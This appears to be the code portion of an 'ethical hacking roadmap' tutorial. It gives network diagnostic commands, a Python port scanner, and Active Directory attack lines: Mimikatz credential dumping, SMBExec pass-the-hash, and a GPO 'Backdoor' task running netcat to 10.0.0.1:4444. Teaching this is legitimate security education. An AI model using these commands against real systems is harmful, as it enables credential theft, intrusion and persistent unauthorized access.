The Complete Ethical Hacking Roadmap for 2025

# Windows
ipconfig /all       # View network configuration
tracert 8.8.8.8     # Trace route to Google DNS
netstat -ano        # Display active connections

# Linux
ifconfig            # Network interface info
traceroute 8.8.8.8  # Trace route
ss -tulnp           # Modern netstat replacement

import socket
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port):
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(1)
            if s.connect_ex((host, port)) == 0:
                print(f"Port {port} is open")
                return port
    except Exception as e:
        pass
    return None

def scan_ports(host, ports):
    open_ports = []
    with ThreadPoolExecutor(max_workers=100) as executor:
        results = executor.map(scan_port, [host]*len(ports), ports)
        for port in results:
            if port:
                open_ports.append(port)
    return open_ports

# Usage (ethical hacking only)
target = "example.com"
ports_to_scan = range(1, 1025)
open_ports = scan_ports(target, ports_to_scan)
print(f"Open ports on {target}: {open_ports}")

# Enumeration
Get-NetComputer -DomainController 192.168.1.1
Get-NetUser -DomainController 192.168.1.1

# Lateral Movement
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Invoke-SMBExec -Target 192.168.1.10 -Username admin -Hash aad3b435b51404ee

# Persistence
New-GPOImmediateTask -TaskName "Backdoor" -Command "cmd.exe" -Arguments "/c nc.exe 10.0.0.1 4444"